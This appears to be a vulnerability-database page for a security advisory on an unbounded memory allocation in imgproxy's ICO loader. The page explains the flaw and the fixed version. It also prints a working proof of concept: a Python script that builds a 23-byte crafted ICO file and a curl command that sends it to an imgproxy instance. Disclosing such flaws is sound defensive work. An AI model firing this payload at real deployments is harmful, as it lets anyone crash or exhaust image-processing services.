GHSA-mmq5-xm89-9pfgHigh· 7.5▾ Twilightimgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
Unbounded and unvalidated memory allocation in imgproxy's ICO loader (vips/icoload.c). An attacker-controlled data_size field (u32) from the ICO directory entry is passed directly to VIPS_MALLOC without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.
In vips_foreign_load_ico_header in vips/icoload.c, the selected directory entry's data_size is read and used directly for the allocation:
uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);
// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);
There is no validation that data_size is sane nor any check that the file actually contains data_size bytes at the declared data_offset. A crafted 23-byte ICO whose directory entry declares data_size = 0xfa000068 (~4GB) drives VIPS_MALLOC(NULL, ~4GB + 14).
# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# → outcome depends on host memory: on a memory-constrained pod the worker
# OOM-dies; on a larger host the ~4GB allocation succeeds transiently and
# decode fails -> HTTP 500 (worker survives, but each request burns ~4GB
# transiently — repeatable memory exhaustion).
Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.
github.com/imgproxy/imgproxy/v3 >= 3.3.0, < 4.0.16Upgrade to a patched release:
github.com/imgproxy/imgproxy/v3 4.0.16Connected by shared product, vendor, weakness, or advisory.
GHSA-hff9-5pqw-6w9fCritical· 9.8imgproxy has integer overflow in imgproxy ICO loader that causes denial of service and may permit remote code execution
GO-2026-6898Noneimgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field in g…
GO-2026-6897Noneimgproxy has integer overflow in imgproxy ICO loader that causes denial of service and may permit remote code execution in github.com/img…
GHSA-494m-4556-wf5pHigh· 7.5imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash
CVE-2026-123616High· 7.5imgproxy 3.3.0 before 4.0.16 Memory Exhaustion DoS via ICO Loader
GO-2026-6895Noneimgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash in git…